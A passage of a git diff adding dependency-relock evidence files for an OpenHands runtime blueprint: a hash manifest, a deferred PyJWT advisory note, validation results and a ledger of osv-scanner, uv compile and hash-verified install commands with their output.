"blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.json", + "sha256": "217e7398c4f53af8f4d6cfd7eabc350b25885423bc05e519305e99795e3899f6", + "bytes": 23772 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.txt", + "sha256": "40b41feb5e27a1f8e17d1e36e4c391aec18ceab3c076117b38ee0d4f41741a4d", + "bytes": 28026 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.json", + "sha256": "5d40c9aca93da1558267305ee0d1d4a88bc09b9a1b46d8c801454d9762c66822", + "bytes": 43469 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.txt", + "sha256": "fb6f5d2a85ed9ffbc7ec86c0347d8ce83c6b2e6e687106a8359a4f02f8c07c8e", + "bytes": 44307 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-build-hash-install.txt", + "sha256": "531ca125a17fb3bc737cc1e63b8ed1b131ced2ee47821a976258a603cdba2ebc", + "bytes": 592 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.json", + "sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "bytes": 124 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.txt", + "sha256": "24f0d6ce6c9a34900663a79c21d3c2118799ed6fc1d8cfe27ab1a2be13976bee", + "bytes": 4380 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.json", + "sha256": "153338dd8099c7a9b96230308fc7b072d2783257bbe96821f2a5f7e09451ba24", + "bytes": 14534 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.txt", + "sha256": "72d39a51323df0a9888c433435cb5289b7a21b91df8b857caa56ce4df9c58332", + "bytes": 18790 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.json", + "sha256": "afad529ade6763e00b9d46db35ff6f40cc52848858b97432057f98d48a15d25a", + "bytes": 19970 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.txt", + "sha256": "0586d512426ed14c0cba8f9ac033a1151986a67e853865628e152301600aaa4a", + "bytes": 20810 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-constraints.txt", + "sha256": "935e34547853b50ebe901a18bc054df02c3f0a6734b3dafbe6e3c654117cb21b", + "bytes": 37931 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-dependency-comparison.json", + "sha256": "f55330c05b4103f00e748ca2d54f1d20287ac39b98ed2e01b18eb3e7eb0483e4", + "bytes": 700 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-caller-source-review.txt", + "sha256": "61fba571a483831412c96daa07178e8261db77f58f2d60b8e2d9ff5a276f9db2", + "bytes": 20620 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-lock-delta.txt", + "sha256": "69615406cf936ee0ecaa844953620b3a1aeb059fea4f927fc5e01794a9db1981", + "bytes": 2450 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-final-owned-file-publication-scan-after-upstream-example-redaction.txt", + "sha256": "71592f600700019925c85971e2e965f1130479db6eae2bf9c985f8bd758822c5", + "bytes": 9493 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-final-owned-file-publication-scan.txt", + "sha256": "e4c3e6648209bf90f77a50d9454000310e45906f33cebbaa50f39a02d4bf23c8", + "bytes": 9463 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-fresh-venv.txt", + "sha256": "98d76e14cb8b2c2787947a82ee3d7c8b57ebb40c6e0a4ab2ea607fad5810b0b2", + "bytes": 551 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-frozen-inputs.json", + "sha256": "a02a55b19d246116312664d05e68a8182ffacff856355e2930efc89675009659", + "bytes": 2317 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-gitleaks-git-help.txt", + "sha256": "f84b66a7247f23f5f864783f8a77e31e1b1a628475b46a9e63eff9e0660b9bc1", + "bytes": 3012 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-gitleaks-version.txt", + "sha256": "106a656382fa5139173c3bf2dfad0a09220be1dfbddd44ea090450127e22661a", + "bytes": 190 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-hosted-failure-36737133691.txt", + "sha256": "f1fdb8e6fc3989c3f61d8af4ee4fab61b5ba9fa8efd8951b01dfd0017afb1604", + "bytes": 37365 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-installed-version-inventory.txt", + "sha256": "d1e073a83ed95f20f8436c016e5a2c04efe6a64c55118f720e29011300f991f5", + "bytes": 1040 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-main-repair-pr546.txt", + "sha256": "8a4239286217070ba23adacd1cb840531d6cc065913ebaa36a03c1a9d2d8bc13", + "bytes": 25671 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-maintained-jwt-callers.txt", + "sha256": "f2cb234d51c610eadcc8114d28f0deff618899d2f6fd88d6fc7e28630f68931c", + "bytes": 3328 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-candidate-compile.txt", + "sha256": "b25fc55afe7cbb4791c6850406d6ef1fefe7aad87471ac3437214625ac5ac0a0", + "bytes": 249114 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-control-compile.txt", + "sha256": "4d2f9b42802e38983449113d8cc9d5655d80f17207b588eb846993f0fe077674", + "bytes": 249121 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-imports.txt", + "sha256": "670804dc7aef95981033adda1ac8acb9d023022759504ee57262e64a79e25fe7", + "bytes": 1786 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pip-check.txt", + "sha256": "a13391a6b9383b3bf1ae09fc3da3e567bbe6d87312f2c3def211a96a2cecd0f0", + "bytes": 359 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pristine-reproduction.txt", + "sha256": "d054ccd94dde8ff2434db53d1e61fde2e5b006a828950ebda2bdf89f89c31435", + "bytes": 249121 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-oauthlib-alias-callers.txt", + "sha256": "019d8520664fec5d1c326901aabc988800688649ffae22ecc2624ae190813437", + "bytes": 37489 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-download.txt", + "sha256": "d82600844473eae879ad8d296b3850c313483b042d96fdbc6cd812894140a9a5", + "bytes": 356 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-release.txt", + "sha256": "e13f8810643270828e18aee0420f007ea308411d509d5ad45a69266aa5918c42", + "bytes": 6064 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-source-help.txt", + "sha256": "ab53298e1dd8fafd42c1480caaf75add6c307f3a87a2fa9f0c92c7eb48ef1f93", + "bytes": 5068 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-version.txt", + "sha256": "245b92e6dce308af37eb7ff5ea3c76ba54b1f5e4ee5f57deafb9bbdb5a3f7d9e", + "bytes": 341 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-diff-check.txt", + "sha256": "748a787acf6ae7f176b36197ef18ea0d91be1f860f36f15f8ff46d05599dc503", + "bytes": 186 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan-after-declared-paths-redaction.txt", + "sha256": "7d7f93e7c5e1343a0549bc5e74ea624ca9e71fb16f5e922b422a6f413777dc09", + "bytes": 7653 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan.txt", + "sha256": "601a09a523f2fcf87e84dc66b66aee42fe6d98f2ab6b18f5c87daa4548ad5668", + "bytes": 7766 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pristine-source-verification.txt", + "sha256": "14f8cc5187612148f60de1541046a0844ab3bb6b9dc377090cb5de5138362c1c", + "bytes": 1110 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-215-pypi.txt", + "sha256": "96c2bb91c88b9e2869b62f1efaaeb7df24bd78e5db8c7e267b183557620b6c95", + "bytes": 5725 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-official.txt", + "sha256": "13345ffd64854f23a1f4db80e2c7d9e75bbdf7101c6de5042621974ea1ed0d4a", + "bytes": 13217 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-osv.txt", + "sha256": "ec68a691e5b919679732c8600d27c07a719718d0e80f8540e58319e94684ca14", + "bytes": 12178 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-rejected-normal-commit.txt", + "sha256": "dd9c5b92e06074e70581dd5451928e2f8dcc555a6377d970194c95f3dbc91716", + "bytes": 257 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-path-sanitization.txt", + "sha256": "004274ab419a392924dfe312dc3cab8704160e7d17c10c4915125df066c51a17", + "bytes": 363 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-upstream-example-redaction.txt", + "sha256": "a0d1c9589020c5d48103ae8030bd7467763fba6317b3fea787b589c107820e76", + "bytes": 363 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-before-integration.txt", + "sha256": "4c45bd586ff4760f2de93dbb2bbe950ee5e4d638870a80e5ea4ffd681d700e89", + "bytes": 502 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-final-owned-scope.txt", + "sha256": "7e7b5d9e03774c2fc89106a8560d34c500b8543be3830db32b5bf446a3f6694e", + "bytes": 363 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-requirements.in.txt", + "sha256": "058d660527965a2713aaad24bc56f15e79829a37029dfa2f64f8e8fcb1e16fba", + "bytes": 326 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-runtime-hash-install.txt", + "sha256": "0b8ce270ba574a751ff16d52190b4d5b329918e66e28b11c40cfdfd3bf5a3bee", + "bytes": 4763 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-source-cutoff-policy.txt", + "sha256": "8053b7326bc54ee1910f072f554534525758bd536859f24471ed79d60379acb2", + "bytes": 1428 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-after-public-example-redaction.txt", + "sha256": "d0c69d2dbdc6ad16b9322a36e4f1ac2e08536b8c854fd31429b59f9437293618", + "bytes": 494 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-redacted-report.json", + "sha256": "5f79177d4c8343f9483728f1059830370dad90f6adddbfd22fa677342b93e2df", + "bytes": 658 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-rejection.txt", + "sha256": "8f1979d20d985a9eb7206f747f3c6656664738fbd3a7e5611af5e842f27b7496", + "bytes": 488 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-hashes.txt", + "sha256": "83d23b7f91491e023d0c2e69f529786ba749ac7e3dbb153d3151dd0a3c7541bd", + "bytes": 1111 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-sdk-release.txt", + "sha256": "f48602b12057ff9c5f0733c85957fa6f02701cc58fc0d4ded87a569517f8138d", + "bytes": 4030 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-download.txt", + "sha256": "57969232d3b956d421536eee3740e0ce4f1c0ab9b3bbb4e9d4d4824c527b2feb", + "bytes": 376 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-extract.txt", + "sha256": "bb3465f08e61b64b1bb31ac4b21c31bc21666c838c33af72242653d4647a4722", + "bytes": 246 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-repro-extract.txt", + "sha256": "8d8a8b51794ebc7495cb81c340d71081f560945f11403e5c02ab07c398958a49", + "bytes": 252 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0-py3-none-any.whl.txt", + "sha256": "2569c745287491f7d0768ac2b039afae7e8c756afc7de0e78fee3417c4eb46b9", + "bytes": 426 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0.tar.gz.txt", + "sha256": "b1f213c795eca75598839d0707e32b7c22e2766d93d9a4bdce10cad28709921e", + "bytes": 406 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-oauth-literal-sweep.txt", + "sha256": "fcc5ba26431b00ddd8522a75472de8242b3fea4dac4493e2837ce16e9fb749f3", + "bytes": 324 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-published-source-identity.txt", + "sha256": "243f20cb85641984d660ba1120a6f4b09b41b88cb7f89a37b3137206ac434012", + "bytes": 1050 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-pypi.txt", + "sha256": "5106dea6d766f9dea3a4c3598b0b5fb951170e7634ebc4077ae8229360a9de03", + "bytes": 9760 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-release.txt", + "sha256": "c3c73eb2724dafcbcffc7f3bb982ef72c9b887e32f180b0f5f9a64e0b56ca701", + "bytes": 12106 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag-object.txt", + "sha256": "ba19d552ebbe4bb59ce441c1d721eb9aa9ecdc03510e9ffb331771dd18134fea", + "bytes": 1682 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag.txt", + "sha256": "a659c30ede244f097d299a8d553f31c9d74e48ace5883f8353db3a3e6fe6a6f4", + "bytes": 544 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-compile-help.txt", + "sha256": "cdd7acbd96b941d539827c6587697ab2f76a2e1b49227d5e7c42363ca3c0ec26", + "bytes": 12247 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-release.txt", + "sha256": "a2aa0212a86e5678bd2c32a27395bb9d1ad4cf445f50e54727fc34e2e9f904e1", + "bytes": 82074 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-version.txt", + "sha256": "8efd87c5c7a972462c1688d06383a5a81a58c78de5d827f68ac2e7ec541ec681", + "bytes": 217 + } + ], + "subsequent_leads": [ + { + "kind": "new_primary_advisory_verified_after_initial_osv_observation", + "advisory": "GHSA-42vr-xj54-vc7v", + "official_source": "https://github.com/advisories/GHSA-42vr-xj54-vc7v", + "osv_source": "https://api.osv.dev/v1/vulns/GHSA-42vr-xj54-vc7v", + "osv_published_utc": "2026-09-30T15:41:05Z", + "affected_package": "PyJWT", + "affected_ranges": [ + { + "package": { + "ecosystem": "pip", + "name": "PyJWT" + }, + "vulnerable_version_range": ">= 2.0.0a1, <= 2.14.0", + "first_patched_version": "2.15.0", + "vulnerable_functions": [] + } + ], + "fixed_version": "2.15.0", + "pypi_source": "https://pypi.org/pypi/PyJWT/2.15.0/json", + "fixed_version_files": [ + { + "filename": "pyjwt-2.15.0-py3-none-any.whl", + "upload_time_iso_8601": "2026-09-23T16:55:59.241512Z", + "sha256": "7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8", + "yanked": false + }, + { + "filename": "pyjwt-2.15.0.tar.gz", + "upload_time_iso_8601": "2026-09-23T16:56:00.689307Z", + "sha256": "b11c5f9791d7bf51c2b39a81ed669f6b2dbbd669df2942f6c60167e9e3d1abe4", + "yanked": false + } + ], + "owner_condition": "issue #518; coordinator controls the owner handoff and subsequent relock.", + "action": "No PyJWT bump in this bounded urllib3 step; retain the seven-day cooldown and perform separate requalification after coordinator verifies date and owner conditions." + } + ], + "structural_validation": { + "full_repository_validation_exit_code": 1, + "remaining_messages": [ + "blueprints/runtime-workers/openhands/pins.json: SHA-256 mismatch", + "blueprints/runtime-workers/openhands/requirements.lock: SHA-256 mismatch" + ], + "scope_limit": "The coordinator owns both shared evidence registrations. Supported native --scan-file validates publication hygiene of all owned files, and git diff --check passed. This is not an integrated full-repository pass.", + "owned_file_publication_scan_exit_code": 0, + "owned_file_publication_scan_count": 60, + "owned_diff_check_exit_code": 0, + "commit_gate": "Installed normal pre-commit gitleaks hook. Native same-command staged rehearsal exits 0 after declared source-example redactions; no hook bypass or ignore change.", + "final_owned_publication_scan": { + "exit_code": 0, + "scanned_files": 74, + "check_id": "final-owned-file-publication-scan-after-upstream-example-redaction" + }, + "final_full_repository_check_id": "repository-validation-after-upstream-example-redaction", + "native_staged_gitleaks_exit_code": 0 + }, + "command_ledger": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-commands.json", + "frozen_plan_observation": "The initial native compile/install/fixture and scanner observations met the frozen plan as recorded. The later published/newly propagated PyJWT advisory invalidates any inference of continuing security acceptance; the latest native rescan fails and is retained." +} diff --git a/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-commands.json b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-commands.json new file mode 100644 index 000000000..46edc3e22 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-commands.json @@ -0,0 +1,370 @@ +{ + "schema_version": 1, + "evidence_class": "Actual local command returns; host paths replaced with named placeholders.", + "commands": { + "initial_working_main_osv": { + "argv": [ + "rtk", + "", + "scan", + "source", + "--config", + "/current-main-osv-scanner.toml", + "--no-resolve", + "--lockfile=requirements.txt:blueprints/runtime-workers/openhands/requirements.lock", + "--format", + "json", + "--output-file", + "/before-osv.json" + ], + "cwd": "", + "started": "2026-09-30T07:21:27.885Z", + "ended": "2026-09-30T07:21:28.760Z", + "exit_code": 1, + "stdout": "", + "stderr": "Starting filesystem walk for root: /\nScanned /blueprints/runtime-workers/openhands/requirements.lock file and found 340 packages\nEnd status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 22.37021ms elapsed, 22.37028ms wall time\n/current-main-osv-scanner.toml has unused ignores:\n - GHSA-8mgp-746c-j5xp\n - GHSA-h35f-9h28-mq5c\n" + }, + "exact_origin_main_baseline_osv": { + "argv": [ + "rtk", + "", + "scan", + "source", + "--config", + "/current-main-osv-scanner.toml", + "--no-resolve", + "--lockfile=requirements.txt:blueprints/runtime-workers/openhands/requirements.lock", + "--format", + "json", + "--output-file", + "/before-osv.json" + ], + "cwd": "", + "started": "2026-09-30T07:35:22.026Z", + "ended": "2026-09-30T07:35:23.153Z", + "exit_code": 1, + "signal": null, + "stdout": "", + "stderr": "Starting filesystem walk for root: /\nScanned /blueprints/runtime-workers/openhands/requirements.lock file and found 340 packages\nEnd status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 19.598526ms elapsed, 19.598596ms wall time\nGHSA-hj66-6f7g-4r5v and 1 alias have been filtered out because: oauthlib 0.6.1 through 3.3.1 (fixed in 4.0.0): RevocationEndpoint wraps its response in the request's callback parameter only when constructed with enable_jsonp=True (oauthlib/oauth2/rfc6749/endpoints/revocation.py:72-73 and 81-82 in 3.3.1); oauthlib's pre-configured servers never pass it. Two allowed locks pin 3.3.1: the OpenHands recipe lock and the frozen, evaluation-only Lumibot lock (run offline under bwrap). A text search of one hash-verified artifact per requirement of both locks found no enable_jsonp or create_revocation_response and no importer of oauthlib's endpoints, grant types or servers: oauthlib is imported only by requests-oauthlib 2.0.0 (client classes, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class); every other RevocationEndpoint is Authlib's own class, and Authlib does not import oauthlib. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: the OpenHands lock was relocked onto PyJWT 2.14.0 on 2026-09-30 and still pins oauthlib 3.3.1; as of 2026-09-30, oauthlib 4.0.0 (PyPI, 2026-09-28T06:01Z) was inside the 7-day window the upstream workspace's exclude-newer applies (until 2026-10-05T06:01:19Z), so the relock onto it follows, tracked in #518 (owner: bc, session native-agent-stack-bc; earliest 2026-10-05T18:40:43Z, when PyJWT 2.15.1 has left its window too; due 2026-10-08), and in the same change deletes the OpenHands entry of IGNORE_ALLOWED_LOCKS, whose sha256 pin fails any change to that lock. The Lumibot lock stays frozen on 3.3.1, so on 2026-10-13 renew this ignore for that lock alone with a new dated reason, or delete that lock.\nGHSA-xpv3-w29h-x7cv and 1 alias have been filtered out because: oauthlib >= 3.0.0, < 4.0.0 (fixed in 4.0.0; the scanned locks pin 3.3.1): an oauthlib authorization server compares the PKCE code_verifier with == (code_challenge_method_s256 at oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49 and code_challenge_method_plain at :61, in 3.3.1), called only from AuthorizationCodeGrant.validate_token_request (line 506) when a token endpoint handles a request. Neither allowed lock (the OpenHands recipe lock and the frozen Lumibot lock) runs an oauthlib authorization server: in a text search of one hash-verified artifact per requirement of both locks, oauthlib is imported only by requests-oauthlib 2.0.0 (WebApplicationClient, LegacyApplicationClient, the oauth1 Client, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class), and nothing imports oauthlib's grant types, endpoints or servers; the PKCE code in openhands-sdk, requests-oauthlib and google-auth-oauthlib only generates a verifier as a client. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: as for GHSA-hj66-6f7g-4r5v; the OpenHands relock onto oauthlib 4.0.0 removes that lock's pin, and on 2026-10-13 this ignore is renewed for the frozen Lumibot lock alone or that lock is deleted.\nFiltered 2 vulnerabilities from output\n/current-main-osv-scanner.toml has unused ignores:\n - GHSA-8mgp-746c-j5xp\n - GHSA-h35f-9h28-mq5c\n", + "config_sha256": "dc6c8e8a535f78314525b8845d64f12bb743457147c9db0cae6d84c9297f9f87", + "lock_sha256": "7dba097d34f83cab8585e49050505d5f836b8f8505ceedb7daff160af5e3ad16", + "report_sha256": "e38ba75053c9676384309919da3f2f2a2b78aafe29f552df7e2ce1759cdd7a6d" + }, + "native_compile": { + "argv": [ + "rtk", + "uv", + "pip", + "compile", + "/requirements.in", + "--constraints", + "/retained-constraints.txt", + "--generate-hashes", + "--no-header", + "--no-annotate", + "--index-url", + "https://pypi.org/simple", + "--python-version", + "3.13.15", + "--python-platform", + "x86_64-unknown-linux-gnu", + "--exclude-newer", + "7 days", + "--exclude-newer-package", + "litellm=2026-07-20T00:00:00Z", + "--exclude-newer-package", + "lmnr=2026-08-23T00:00:00Z", + "--output-file", + "/candidate-requirements.lock" + ], + "cwd": "", + "started": "2026-09-30T07:28:11.527Z", + "ended": "2026-09-30T07:28:12.116Z", + "exit_code": 0, + "stdout": { + "artifact": { + "path": "blueprints/runtime-workers/openhands/requirements.lock", + "sha256": "8d257833a90ad4096858d108a427e908a54850dee24d1036d37bd7b5e5d86676", + "bytes": 248357 + }, + "identity": "Complete returned stdout equals the native generated lock byte for byte." + }, + "stderr": "Resolved 176 packages in 525ms\n" + }, + "fresh_venv": { + "argv": [ + "rtk", + "uv", + "venv", + "--python", + "/.venv/bin/python", + "" + ], + "cwd": "", + "started": "2026-09-30T07:36:17.884Z", + "ended": "2026-09-30T07:36:17.926Z", + "exit_code": 0, + "stdout": "", + "stderr": "Using CPython 3.13.15 interpreter at: /.venv/bin/python\nCreating virtual environment at: \nActivate with: source /bin/activate\n" + }, + "build_hash_install": { + "argv": [ + "rtk", + "uv", + "pip", + "install", + "--python", + "/bin/python", + "--require-hashes", + "--no-deps", + "--only-binary", + ":all:", + "--index-url", + "https://pypi.org/simple", + "-r", + "/blueprints/runtime-workers/openhands/build-requirements.lock" + ], + "cwd": "", + "env": { + "UV_NO_CONFIG": "1", + "UV_PYTHON_DOWNLOADS": "never" + }, + "started": "2026-09-30T07:37:06.583Z", + "ended": "2026-09-30T07:37:06.783Z", + "exit_code": 0, + "signal": null, + "stdout": "", + "stderr": "Using Python 3.13.15 environment at: \nResolved 3 packages in 68ms\nInstalled 3 packages in 53ms\n + packaging==26.3\n + setuptools==84.0.0\n + wheel==0.46.3\n" + }, + "wheel_hash_install": { + "argv": [ + "rtk", + "uv", + "pip", + "install", + "--python", + "/bin/python", + "--require-hashes", + "--no-deps", + "--no-build-isolation", + "--index-url", + "https://pypi.org/simple", + "-r", + "/candidate-requirements.lock" + ], + "cwd": "", + "env": { + "UV_NO_CONFIG": "1", + "UV_PYTHON_DOWNLOADS": "never" + }, + "started": "2026-09-30T07:37:26.790Z", + "ended": "2026-09-30T07:37:27.898Z", + "exit_code": 0, + "signal": null, + "stdout": "", + "stderr": "Using Python 3.13.15 environment at: \nResolved 176 packages in 72ms\nInstalled 172 packages in 795ms\nPrepared 3 packages without build isolation in 61ms\nInstalled 3 packages in 6ms\n + agent-client-protocol==0.12.1\n + aiofile==3.9.0\n + aiofiles==25.1.0\n + aiohappyeyeballs==2.6.1\n + aiohttp==3.14.3\n + aiosignal==1.4.0\n + annotated-types==0.7.0\n + anthropic==0.75.0\n + anyio==4.14.2\n + attrs==25.3.0\n + authlib==1.6.12\n + backoff==2.2.1\n + beartype==0.22.9\n + beautifulsoup4==4.14.2\n + binaryornot==0.4.4\n + blake3==1.0.9\n + browser-use==0.11.9\n + browser-use-sdk==2.0.15\n + bubus==1.5.6\n + cachetools==7.1.8\n + caio==0.9.25\n + cdp-use==1.4.4\n + certifi==2025.8.3\n + cffi==2.0.0\n + chardet==5.2.0\n + charset-normalizer==3.4.3\n + click==8.3.3\n + cloudpickle==3.1.2\n + cryptography==50.0.0\n + cyclopts==4.6.0\n + deprecation==2.1.0\n + distro==1.9.0\n + dnspython==2.8.0\n + docstring-parser==0.17.0\n + docutils==0.22.2\n + email-validator==2.3.0\n + exceptiongroup==1.3.0\n + fakeredis==2.34.1\n + fastmcp==3.2.0\n + fastuuid==0.14.0\n + filelock==3.20.3\n + frozenlist==1.8.0\n + fsspec==2025.9.0\n + func-timeout==4.3.5\n + google-api-core==2.31.0\n + google-api-python-client==2.184.0\n + google-auth==2.53.0\n + google-auth-httplib2==0.2.0\n + google-auth-oauthlib==1.2.2\n + google-genai==1.75.0\n + googleapis-common-protos==1.70.0\n + groq==0.32.0\n + grpcio==1.76.0\n + h11==0.16.0\n + hf-xet==1.1.10\n + httpcore==1.0.9\n + httplib2==0.32.0\n + httpx==0.28.1\n + httpx-sse==0.4.3\n + huggingface-hub==0.35.3\n + idna==3.15\n + importlib-metadata==8.5.0\n + inquirerpy==0.3.4\n + jaraco-classes==3.4.0\n + jaraco-context==6.1.0\n + jaraco-functools==4.4.0\n + jeepney==0.9.0\n + jinja2==3.1.6\n + jiter==0.11.0\n + joserfc==1.7.5\n + json-repair==0.60.1\n + jsonref==1.1.0\n + jsonschema==4.23.0\n + jsonschema-path==0.3.4\n + jsonschema-specifications==2025.9.1\n + keyring==25.7.0\n + libtmux==0.53.0\n + litellm==1.93.0\n + lmnr==0.7.60\n + lmnr-claude-code-proxy==0.1.23\n + lupa==2.8\n + lxml==6.1.0\n + markdown-it-py==4.0.0\n + markdownify==1.2.0\n + markupsafe==3.0.2\n + mcp==1.28.1\n + mdurl==0.1.2\n + more-itertools==10.8.0\n + multidict==6.7.0\n + oauthlib==3.3.1\n + ollama==0.6.0\n + openai==2.33.0\n + openapi-pydantic==0.5.1\n + openhands-sdk==1.50.0 (from https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl)\n + openhands-tools==1.50.0 (from https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl)\n + opentelemetry-api==1.39.1\n + opentelemetry-exporter-otlp-proto-common==1.39.1\n + opentelemetry-exporter-otlp-proto-grpc==1.39.1\n + opentelemetry-exporter-otlp-proto-http==1.39.1\n + opentelemetry-instrumentation==0.60b1\n + opentelemetry-instrumentation-threading==0.60b1\n + opentelemetry-proto==1.39.1\n + opentelemetry-sdk==1.39.1\n + opentelemetry-semantic-conventions==0.60b1\n + opentelemetry-semantic-conventions-ai==0.4.13\n + orjson==3.11.7\n + pathable==0.4.4\n + pfzy==0.3.4\n + pillow==12.3.0\n + platformdirs==4.4.0\n + portalocker==2.10.1\n + 